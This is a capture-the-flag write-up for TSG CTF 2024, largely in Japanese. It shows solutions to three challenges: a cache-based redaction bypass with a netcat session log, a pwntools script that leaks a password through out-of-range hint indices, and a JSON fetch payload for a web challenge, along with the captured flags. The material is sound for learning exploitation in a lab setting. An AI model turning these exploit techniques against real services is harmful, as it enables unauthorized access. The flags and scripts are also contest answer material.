---
# System prepended metadata

title: TSG CTF 2024 Writeup
tags: [CTF, Writeup]

---

# TSG CTF 2024 Writeup

![score.ctf.tsg.ne.jp_teams_214](https://hackmd.io/_uploads/S1nN8rn4kl.png)

## Misc

### Cached File Viewer

> I implemented a simple file viewer!
> 
> \> ls ~
99-bottles-of-bear.txt chal diary.txt flag recipe.txt start.sh

```
    if (arena.find(filename) != arena.end())
    {
        items[index].str = arena[filename];
        items[index].is_redacted = false;
        return;
    }
```

`main.cpp` を読むと `load_file` でキャッシュの内容を読み込んだ場合 `is_redacted` が `false` になっていることがわかります。　`flag` を2回 `load_file` してから `read` すると `flag` の内容が出力されます。

```
> nc 34.146.186.1 21001
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > flag
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > flag
1. load_file
2. read
3. bye
choice > 2
index > 0
content: TSGCTF{!7esuVVz2n@!Fm}
1. load_file
2. read
3. bye
choice > 3
Goodbye!
```

#### Flag

`TSGCTF{!7esuVVz2n@!Fm}`

## Pwn

### Password-Ate-Quiz

> It seems that if you enter the correct password, they will give you the flag.

```python
from pwn import *


def solve():
    io = remote('34.146.186.1', 41778);

    io.recvuntil(b'Enter the password > ')
    io.sendline((chr(0x11) * 31).encode())

    password1 = b''
    for i in range(4, 8):
        io.recvuntil(b'Enter a hint number (0~2) > ')
        io.sendline(str(i).encode())
        password1 += io.recvline()[:-1]

    password2 = b''
    for i in range(8, 12):
        io.recvuntil(b'Enter a hint number (0~2) > ')
        io.sendline(str(i).encode())
        password2 += io.recvline()[:-1]

    password = b''
    for (b1, b2) in zip(password1, password2):
        c = b1 ^ b2 ^ 0x11
        if chr(c).isprintable():
            password += c.to_bytes()

    io.sendline(b'a')
    io.recvuntil(b'Enter the password > ')
    io.sendline(password)

    io.recvline()
    flag = io.recvline().decode()

    io.close()

    return flag


if __name__ == '__main__':
    print(solve())
```

#### Flag

`TSGCTF{S74ck_h45_much_1nf0m4710n_81775684690}`

## Web

### Toolong Tea

> Recently it's getting colder in Tokyo which TSG is based in. Would you like to have a cup of hot oolong tea? It will warm up your body.

```js
fetch('/', { 
    'method': 'POST', 
    'headers': { 'content-type': 'application/json' }, 
    'body': JSON.stringify({ num: [65536, 1, 1] }) 
})
```

#### Flag

`TSGCTF{A_holy_night_with_no_dawn_my_dear...}`

